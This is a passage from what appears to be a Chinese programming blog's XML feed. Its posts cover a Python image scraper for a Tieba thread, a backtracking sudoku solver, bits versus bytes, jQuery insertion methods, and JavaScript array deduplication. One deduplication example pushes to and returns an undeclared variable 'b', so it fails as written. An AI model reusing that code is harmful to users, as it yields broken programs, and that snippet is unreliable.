class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># coding=utf-8</span></span><br><span class="line"><span class="keyword">import</span> urllib,urllib2</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line"><span class="comment">#头信息</span></span><br><span class="line">header={<span class="string">'User-Agent'</span>:<span class="string">'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:44.0) Gecko/20100101 Firefox/44.0'</span>}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_img_url</span><span class="params">(page_url)</span>:</span><span class="comment">#得到页面所有图片的链接</span></span><br><span class="line"></span><br><span class="line"> request=urllib2.Request(page_url,headers=header) <span class="comment">#生成request对象</span></span><br><span class="line"> reference=urllib2.urlopen(request) <span class="comment">#获取页面对象</span></span><br><span class="line"> page=reference.read() <span class="comment">#读取页面</span></span><br><span class="line"></span><br><span class="line"> regex=re.compile(<span class="string">r'<img.*?class="BDE_Image" src="(.*?)".*?>'</span>) <span class="comment">#编译正则匹配模式字符串</span></span><br><span class="line"> img_url_list=re.findall(regex,page) <span class="comment">#匹配所有图片链接生成列表</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> img_url_list</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">download_img</span><span class="params">(url_list,img_path)</span>:</span> <span class="comment">#从图片链接下载图片并存放在指定文件夹</span></span><br><span class="line"> <span class="keyword">for</span> img_url <span class="keyword">in</span> url_list:</span><br><span class="line"> urllib.urlretrieve(img_url,<span class="string">'%s/%s.jpg'</span>%(img_path,img_url[<span class="number">-8</span>:<span class="number">-5</span>])) <span class="comment">#下载图片</span></span><br><span class="line"> <span class="keyword">print</span> <span class="string">'done'</span></span><br><span class="line"></span><br><span class="line">url=<span class="string">'http://tieba.baidu.com/p/2166231880?see_lz=1'</span> <span class="comment">#爬虫页面</span></span><br><span class="line">path=<span class="string">'/home/afei/picture'</span> <span class="comment">#存放路径</span></span><br><span class="line">urllist=get_img_url(url)</span><br><span class="line">download_img(urllist,path)</span><br></pre></td></tr></table></figure><p>wow,杉本由美真的好漂亮啊,有鼻子有眼的。</p><p><img src="https://s1.ax1x.com/2018/04/15/CZNifP.png" alt="img"></p><!-- rebuild by neat -->]]></content>
<categories>
<category> 语言 </category>
<category> Python </category>
</categories>
<tags>
<tag> Python </tag>
<tag> 语言 </tag>
<tag> 爬虫 </tag>
</tags>
</entry>
<entry>
<title>使用python解数独</title>
<link href="/2017/03/19/sudoku_python/"/>
<url>/2017/03/19/sudoku_python/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>偶然发现<em>linux</em>系统附带的一个数独游戏,打开玩了几把。无奈是个数独菜鸟,以前没玩过,根本就走不出几步就一团浆糊了。</p><p>于是就打算借助计算机的强大运算力来暴力解数独,还是很有乐趣的。</p><p>本篇博客就记录一下我使用<code>python</code>写解数独程序的一些思路和心得。</p></blockquote><a id="more"></a><h3 id="数独游戏的基本解决方法"><a href="#数独游戏的基本解决方法" class="headerlink" title="数独游戏的基本解决方法"></a>数独游戏的基本解决方法</h3><p>编程笼统的来说,就是个方法论。不论什么程序,都必须将问题的解决过程分解成计算机可以实现的若干个简单方法。俗话说,大道至简。对于只能明白0和1的计算机来说,就更需要细分步骤,一步一步的解决问题了。</p><p>首先来思考一下解数独的基本概念。</p><p>数独横九竖九共八十一个格子,同时又分为9个九宫格。规则很简单——需要每一个格中的数字,都保证与其所在横排和竖排以及九宫格内无相同数字。</p><p>所以我们的大概思路就是,从第一个空格开始试着填数,从 1 开始填,如果 1 不满足横排竖排九宫格无重复的话,就再填入 2 ,以此类推,直到填入一个暂时满足规则的数,中断此格,移动到下一个空格重复这个过程。</p><p>如果到达某个空格发现已经无数可选了,说明前面某一格填错了,那就返回上一格,从上一格的中断处继续往 9 尝试,直到这样回朔到填错的那一格。</p><p>这样的话,我们就可以整理出重要的步骤了:</p><ul><li>寻找到下一个空格</li><li>轮流填入格中数字 1 到 9</li><li>递归判断填入数是否符合规则</li></ul><h3 id="代码实现"><a href="#代码实现" class="headerlink" title="代码实现"></a>代码实现</h3><p>首先测试数独使用的是芬兰数学家因卡拉花费3个月时间设计出的世界上迄今难度最大的数独。如下:</p><p><img src="https://s1.ax2x.com/2018/04/15/k0xDJ.png" alt="a.png"></p><p>将空格用 0 表示,同时将数独表示成嵌套的列表,这样每格的行数和列数就正好是列表中每个对应数的索引。</p><p>程序如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#coding=utf-8</span></span><br><span class="line"><span class="keyword">import</span> datetime</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">solution</span><span class="params">(object)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self,board)</span>:</span></span><br><span class="line"> self.b = board</span><br><span class="line"> self.t = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">check</span><span class="params">(self,x,y,value)</span>:</span><span class="comment">#检查每行每列及每宫是否有相同项</span></span><br><span class="line"> <span class="keyword">for</span> row_item <span class="keyword">in</span> self.b[x]:</span><br><span class="line"> <span class="keyword">if</span> row_item == value:</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">False</span></span><br><span class="line"> <span class="keyword">for</span> row_all <span class="keyword">in</span> self.b:</span><br><span class="line"> <span class="keyword">if</span> row_all[y] == value:</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">False</span></span><br><span class="line"> row,col=x/<span class="number">3</span>*<span class="number">3</span>,y/<span class="number">3</span>*<span class="number">3</span></span><br><span class="line"> row3col3=self.b[row][col:col+<span class="number">3</span>]+self.b[row+<span class="number">1</span>][col:col+<span class="number">3</span>]+self.b[row+<span class="number">2</span>][col:col+<span class="number">3</span>]</span><br><span class="line"> <span class="keyword">for</span> row3col3_item <span class="keyword">in</span> row3col3:</span><br><span class="line"> <span class="keyword">if</span> row3col3_item == value:</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">False</span></span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">True</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_next</span><span class="params">(self,x,y)</span>:</span><span class="comment">#得到下一个未填项</span></span><br><span class="line"> <span class="keyword">for</span> next_soulu <span class="keyword">in</span> range(y+<span class="number">1</span>,<span class="number">9</span>):</span><br><span class="line"> <span class="keyword">if</span> self.b[x][next_soulu] == <span class="number">0</span>:</span><br><span class="line"> <span class="keyword">return</span> x,next_soulu</span><br><span class="line"> <span class="keyword">for</span> row_n <span class="keyword">in</span> range(x+<span class="number">1</span>,<span class="number">9</span>):</span><br><span class="line"> <span class="keyword">for</span> col_n <span class="keyword">in</span> range(<span class="number">0</span>,<span class="number">9</span>):</span><br><span class="line"> <span class="keyword">if</span> self.b[row_n][col_n] == <span class="number">0</span>:</span><br><span class="line"> <span class="keyword">return</span> row_n,col_n</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>,<span class="number">-1</span> <span class="comment">#若无下一个未填项,返回-1</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">try_it</span><span class="params">(self,x,y)</span>:</span><span class="comment">#主循环</span></span><br><span class="line"> <span class="keyword">if</span> self.b[x][y] == <span class="number">0</span>:</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1</span>,<span class="number">10</span>):<span class="comment">#从1到9尝试</span></span><br><span class="line"> self.t+=<span class="number">1</span></span><br><span class="line"> <span class="keyword">if</span> self.check(x,y,i):<span class="comment">#符合 行列宫均无条件 的</span></span><br><span class="line"> self.b[x][y]=i <span class="comment">#将符合条件的填入0格</span></span><br><span class="line"> next_x,next_y=self.get_next(x,y)<span class="comment">#得到下一个0格</span></span><br><span class="line"> <span class="keyword">if</span> next_x == <span class="number">-1</span>: <span class="comment">#如果无下一个0格</span></span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">True</span> <span class="comment">#返回True</span></span><br><span class="line"> <span class="keyword">else</span>: <span class="comment">#如果有下一个0格,递归判断下一个0格直到填满数独</span></span><br><span class="line"> end=self.try_it(next_x,next_y)</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> end: <span class="comment">#在递归过程中存在不符合条件的,即 使try_it函数返回None的项</span></span><br><span class="line"> self.b[x][y] = <span class="number">0</span> <span class="comment">#回朔到上一层继续</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">True</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">start</span><span class="params">(self)</span>:</span></span><br><span class="line"> begin = datetime.datetime.now()</span><br><span class="line"> <span class="keyword">if</span> self.b[<span class="number">0</span>][<span class="number">0</span>] == <span class="number">0</span>:</span><br><span class="line"> self.try_it(<span class="number">0</span>,<span class="number">0</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> x,y=self.get_next(<span class="number">0</span>,<span class="number">0</span>)</span><br><span class="line"> self.try_it(x,y)</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> self.b:</span><br><span class="line"> <span class="keyword">print</span> i</span><br><span class="line"> end = datetime.datetime.now()</span><br><span class="line"> <span class="keyword">print</span> <span class="string">'\ncost time:'</span>, end - begin</span><br><span class="line"> <span class="keyword">print</span> <span class="string">'times:'</span>,self.t</span><br><span class="line"> <span class="keyword">return</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">s=solution([[<span class="number">8</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>],</span><br><span class="line"> [<span class="number">0</span>,<span class="number">0</span>,<span class="number">3</span>,<span class="number">6</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>],</span><br><span class="line"> [<span class="number">0</span>,<span class="number">7</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">9</span>,<span class="number">0</span>,<span class="number">2</span>,<span class="number">0</span>,<span class="number">0</span>],</span><br><span class="line"> [<span class="number">0</span>,<span class="number">5</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">7</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>],</span><br><span class="line"> [<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">8</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">7</span>,<span class="number">0</span>,<span class="number">0</span>],</span><br><span class="line"> [<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">3</span>,<span class="number">0</span>],</span><br><span class="line"> [<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">6</span>,<span class="number">8</span>],</span><br><span class="line"> [<span class="number">0</span>,<span class="number">0</span>,<span class="number">8</span>,<span class="number">5</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>],</span><br><span class="line"> [<span class="number">0</span>,<span class="number">9</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">4</span>,<span class="number">0</span>,<span class="number">0</span>]])</span><br><span class="line"><span class="number">73</span> s.start()</span><br></pre></td></tr></table></figure><p>值得注意的是使用的递归判断能够很巧妙的在走错分支时回朔到上一层。具体实现是通过 for 循环来从 1 到 9 不断填入数字同时达到记录中断点的作用。通过下一层的返回值来确定是否回朔。</p><p>程序输出如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">[8, 1, 2, 7, 5, 3, 6, 4, 9]</span><br><span class="line">[9, 4, 3, 6, 8, 2, 1, 7, 5]</span><br><span class="line">[6, 7, 5, 4, 9, 1, 2, 8, 3]</span><br><span class="line">[1, 5, 4, 2, 3, 7, 8, 9, 6]</span><br><span class="line">[3, 6, 9, 8, 4, 5, 7, 2, 1]</span><br><span class="line">[2, 8, 7, 1, 6, 9, 5, 3, 4]</span><br><span class="line">[5, 2, 1, 9, 7, 4, 3, 6, 8]</span><br><span class="line">[4, 3, 8, 5, 2, 6, 9, 1, 7]</span><br><span class="line">[7, 9, 6, 3, 1, 8, 4, 5, 2]</span><br><span class="line"></span><br><span class="line">cost time: 0:00:00.060687</span><br><span class="line">times: 45360</span><br></pre></td></tr></table></figure><p>可以看到程序虽然运算次数比较多,但是速度还是很快的。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 语言 </category>
<category> Python </category>
</categories>
<tags>
<tag> Python </tag>
<tag> 语言 </tag>
</tags>
</entry>
<entry>
<title>比特和字节,带宽和网速</title>
<link href="/2017/01/05/bit&byte/"/>
<url>/2017/01/05/bit&byte/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>最近几天家里网不太好,在观察网速时,发现网速和带宽常用的单位与存储常用的单位其实是不一样的。</p><p>在这篇博客中,就来整理一下存储单位和网速的一些知识。</p></blockquote><a id="more"></a><h1 id="存储单位的bit-和-Byte"><a href="#存储单位的bit-和-Byte" class="headerlink" title="存储单位的bit 和 Byte"></a>存储单位的bit 和 Byte</h1><h2 id="bit(比特)"><a href="#bit(比特)" class="headerlink" title="bit(比特)"></a>bit(比特)</h2><p><em>bit</em>也就是我们不一定听说过的比特,大名鼎鼎的比特币就是以此命名的。它的简写为小写字母 “<em>b</em>” 。</p><p><em>作为</em>信息技术的最基本存储单元,因为比特实在太小了,所以大家生活中并不是经常听到。那么 <em>bit</em> 是什么呢?</p><p>电脑是以二进制存储以及发送接收数据的。二进制的一位,就叫做 1 <em>bit</em>。也就是说 <em>bit</em> 的含义就是二进制数中的一个数位,即 “0” 或者 “1”。</p><h2 id="Byte(字节)"><a href="#Byte(字节)" class="headerlink" title="Byte(字节)"></a>Byte(字节)</h2><p><em>Byte</em> 是字节的英文写法。它的简写为大写字母 “<em>B</em>“。</p><p>既然名字叫字节,那肯定跟字符有关系。是的。英文字符通常是一个字节,也就是 <em>1B</em>,中文字符通常是两个字节,也就是 <em>2B</em>。</p><p>字节 <em>Byte</em> 和比特 <em>bit</em> 的换算关系是 <em>1</em> <em>Byte</em> <em>=</em> <em>8</em> <em>bit</em> 。</p><h2 id="KB-(千字节)"><a href="#KB-(千字节)" class="headerlink" title="KB (千字节)"></a>KB (千字节)</h2><p>需要了解的是,1 <em>KB</em> 并不是一千字节,因为计算机只认识二进制,所以在这里的 <em>KB</em>,是 2 的 10 次方,也就是 1024 个字节。</p><p>另外很多表示存储单位的地方都把 <em>B</em> 写成 <em>b</em>,造成了大家认知的混乱。其实在存储单位计量中出现 <em>b</em> 的地方,它的意思仍然是 <em>B</em>,不要因为 bit 的缩写是 b 就被误导了,在存储计量中是不会用 比特,千比特 这种单位的。但是在网速计量中,<em>b</em>的真实意思就是指 比特 了,这个我们下面再说。</p><h2 id="换算"><a href="#换算" class="headerlink" title="换算"></a>换算</h2><p>存储单位换算关系如下</p><table><thead><tr><th>1 Byte = 8 bit</th><th></th></tr></thead><tbody><tr><td>1 KB= 1024 B</td><td></td></tr><tr><td>1 MB = 1024 KB</td><td></td></tr><tr><td>1 GB = 1024 MB</td><td></td></tr><tr><td>1 TB = 1024 GB</td></tr></tbody></table><h1 id="带宽和网速"><a href="#带宽和网速" class="headerlink" title="带宽和网速"></a>带宽和网速</h1><p>网络线路的计量单位,也就是我们通常说的 <em>2M</em> 宽带,<em>10 M</em> 宽带的单位,是 比特每秒(<em>bits per second</em>)。比特每秒 的缩写为 <em>bps</em>,意思是每秒接收的平均比特数。更大的单位是 千比特每秒(<em>Kbps</em>)或 兆比特每秒(<em>Mbps</em>)。<em>2M</em>宽带,意味着每秒平均可以接受 <em>2Mb</em> 的数据,也就是二百万左右比特的数据,在这里,小写 <em>b</em> 的意思就是比特了。</p><p>而通常我们说的下载速度,也就是网速,是每秒下载的字节数。比如网速是 5 <em>KB</em>(这网速可是够慢的),意思就是每秒接收的数据是 五千字节。</p><p>那我们根据 一字节 等于 8 比特的 换算方法,就可以得出以下结论。</p><p>下载速度从理论上来说,应该是 带宽的 八分之一。</p><p><em>2M</em> 宽带理论下载速度是 <em>256 KB</em></p><p><em>10M</em> 宽带理论下载速度是 <em>1280 KB</em></p><p>实际上由于我们还需要接受一些下载需要的一些信息,如 <em>IP</em> 信息,<em>HTTP</em> 信息,再加上服务器传输速度,电脑配置等原因,网速会比理论慢一些。</p><p>由于很多人都会混淆 字节的大写 <em>B</em> 和比特的小写 <em>b</em>,造成各种混乱。所以在书写单位缩写时,一定要注意 字节 和 比特 的单位的大小写 。</p><p>总结一下,有以下几个要点需要注意:</p><ul><li><strong>存储单位和网速的单位,不管是 <em>B</em> 还是 <em>b</em>,代表的都是 字节 <em>Byte</em>。</strong></li><li><strong>带宽的单位,不管是 <em>B</em> 还是 <em>b</em>,代表的都是 比特 <em>bit</em> 。</strong></li></ul><p>只要记住这两点,就算别人写混淆了,我们也是可以明白单位的具体含义的。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 其他 </category>
</categories>
<tags>
<tag> 杂项 </tag>
</tags>
</entry>
<entry>
<title>jQuery中append(),prepend()与after(),before()的区别</title>
<link href="/2016/11/11/jQuery-append&prepend&after&before/"/>
<url>/2016/11/11/jQuery-append&prepend&after&before/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>在jQuery中,添加元素有<code>append()</code>,<code>prepend</code>和 <code>after()</code>,<code>before()</code>两种共四个。对于很多初学者来说,还是很容易混淆他们的作用和使用方式的。</p><p>在此对于这四个方法的使用和注意事项进行了一些总结。</p></blockquote><a id="more"></a><p>根据字面意思,我们可以看出这四种方法的含义分别是追加,添加和之前,之后,意思相近。同时他们又都有添加元素的作用,容易混淆。</p><p>要想搞清楚他们之间的区别。首先我们要明白这几个函数各自的作用。</p><h3 id="append-和prepend"><a href="#append-和prepend" class="headerlink" title="append()和prepend()"></a>append()和prepend()</h3><p>append()用于在<strong>被选元素的结尾</strong>插入元素。</p><p>prepend()用于在<strong>被选元素的开头</strong>插入元素。</p><p>重点在于黑体字——<strong>被选元素的,</strong></p><p>也就是说这两个函数的添加都是添加到元素的内部的。</p><p><em>看下面的HTML代码</em></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">div</span> <span class="attr">id</span>=<span class="string">"test"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">p</span>></span>a<span class="tag"></<span class="name">p</span>></span></span><br><span class="line"><span class="tag"></<span class="name">div</span>></span></span><br></pre></td></tr></table></figure><p><em>使用 append( ) 和 prepend( )添加元素</em></p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$(<span class="built_in">document</span>).ready(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span><br><span class="line"> $(<span class="string">"#test"</span>).append(<span class="string">"<p>b</p>"</span>) <span class="comment">//使用append()添加 b 段落</span></span><br><span class="line"> $(<span class="string">"#test"</span>).prepend(<span class="string">"<p>c</p>"</span>) <span class="comment">//使用 prepend()添加 c 段落</span></span><br><span class="line">})</span><br></pre></td></tr></table></figure><p><em>效果如下</em></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">div</span> <span class="attr">id</span>=<span class="string">"test"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">p</span>></span>c<span class="tag"></<span class="name">p</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">p</span>></span>a<span class="tag"></<span class="name">p</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">p</span>></span>b<span class="tag"></<span class="name">p</span>></span></span><br><span class="line"><span class="tag"></<span class="name">div</span>></span></span><br></pre></td></tr></table></figure><p>从上面可以得知,当我们使用 <code>append()</code> 和 <code>prepend()</code>往 <code>id</code> 为 <code>test</code> 的 <code>div</code> 块添加元素时,是添加到 <code>div</code> 内部的。</p><p>也就是说,我们添加的元素,<strong>成为了 被添加元素 的 子元素</strong>。</p><h3 id="after-和-before"><a href="#after-和-before" class="headerlink" title="after() 和 before()"></a>after() 和 before()</h3><p>after()用于在被选<strong>元素之后</strong>插入内容。</p><p>before()用于在被选<strong>元素之前</strong>插入内容。</p><p>重点在于黑体字元素之前 ,元素之后。</p><p>这意味着这两个函数是往元素外部的前后添加的。</p><p>还是刚刚的HTML代码</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">div</span> <span class="attr">id</span>=<span class="string">"test"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">p</span>></span>a<span class="tag"></<span class="name">p</span>></span></span><br><span class="line"><span class="tag"></<span class="name">div</span>></span></span><br></pre></td></tr></table></figure><p>使用 after() 和 before()添加元素。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$(<span class="built_in">document</span>).ready(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span><br><span class="line"> $(<span class="string">"#test"</span>).after(<span class="string">"<p>b</p>"</span>)</span><br><span class="line"> $(<span class="string">"#test"</span>).before(<span class="string">"<p>c</p>"</span>)</span><br><span class="line">})</span><br></pre></td></tr></table></figure><p>结果如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><p>c</p></span><br><span class="line"><div id="test"></span><br><span class="line"> <p>a</p></span><br><span class="line"></div></span><br><span class="line"><p>b</p></span><br></pre></td></tr></table></figure><p>从结果可知,<code>after( )</code> 和 <code>before( )</code> 往 <code>id=”test“</code> 的 <code>div</code>块添加元素时,是添加到块外部的。</p><p>也就是说,添加的元素,成为了 <strong>被添加元素的 兄弟元素。</strong></p><h3 id="区别和总结"><a href="#区别和总结" class="headerlink" title="区别和总结"></a>区别和总结</h3><p>通过上面两个例子,我们可以清楚的看到四个函数 append 和 prepend 与 after和before 的区别。</p><p>只要明白 <strong>往元素内的前后添加</strong> 和 <strong>往元素外的前后添加</strong> 的区别,就很容易区分了。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
<category> JavaScript </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> jQuery </tag>
</tags>
</entry>
<entry>
<title>JavaScript 的几种数组去重方法</title>
<link href="/2016/09/18/JavaScript-array-deduplication/"/>
<url>/2016/09/18/JavaScript-array-deduplication/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:47 GMT+0800 (CST) --><blockquote><p><code>JS</code> 的数组去重,作为经常遇到的场景,有很多种实现方式。</p><p>本篇博客主要总结了常见常用的一些<code>js</code>数组去重方法。</p></blockquote><a id="more"></a><h5 id="最基本的数组去重"><a href="#最基本的数组去重" class="headerlink" title="最基本的数组去重"></a>最基本的数组去重</h5><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">distinct</span>(<span class="params">arr</span>)</span>{</span><br><span class="line"> <span class="keyword">var</span> b = []; <span class="comment">//初始值也可为 arr[0]</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">var</span> i = <span class="number">0</span>; i < arr.length;i++){</span><br><span class="line"> <span class="keyword">var</span> flag = <span class="literal">false</span>;</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">var</span> j =<span class="number">0</span>;j < b.length; j++){</span><br><span class="line"> <span class="keyword">if</span>(arr[i] == b[j]){</span><br><span class="line"> flag = <span class="literal">true</span>; </span><br><span class="line"> <span class="comment">//可在此处直接break跳出本层循环</span></span><br><span class="line"> }</span><br><span class="line"> };</span><br><span class="line"> <span class="keyword">if</span>(!flag){</span><br><span class="line"> b.push(arr[i]);</span><br><span class="line"> };</span><br><span class="line"> };</span><br><span class="line"> <span class="keyword">return</span> b;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h5 id="使用Object"><a href="#使用Object" class="headerlink" title="使用Object"></a>使用<code>Object</code></h5><p>通过<code>Object</code>的<code>key</code>来进行筛选去重</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">distinct</span>(<span class="params">arr</span>)</span>{</span><br><span class="line"> <span class="keyword">let</span> hash = {};</span><br><span class="line"> <span class="keyword">let</span> data = [];</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">let</span> i = <span class="number">0</span>;i < arr.length;i++){</span><br><span class="line"> <span class="keyword">if</span> (!hash[arr[i]]){</span><br><span class="line"> hash[arr[i]] = <span class="literal">true</span>;</span><br><span class="line"> b.push(arr[i])</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> b;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h5 id="使用indexOf-方法"><a href="#使用indexOf-方法" class="headerlink" title="使用indexOf() 方法"></a>使用<code>indexOf()</code> 方法</h5><p> 思路类似第一种方法,但是使用 indexOf( ) 方法(需注意此方法不支持IE6-8)</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">distinct</span>(<span class="params">arr</span>)</span>{</span><br><span class="line"> <span class="keyword">var</span> b = [arr[<span class="number">0</span>]]</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">var</span> i = <span class="number">0</span>;i<arr.length;i++){</span><br><span class="line"> <span class="keyword">if</span>(b.indexOf(arr[i]) === <span class="number">-1</span>){b.push(arr[i]);}</span><br><span class="line"> <span class="comment">//上一行也可以用如下写法</span></span><br><span class="line"> <span class="comment">// (b.indexOf(arr[i]) === -1)&&(b.push(arr[i]))</span></span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> 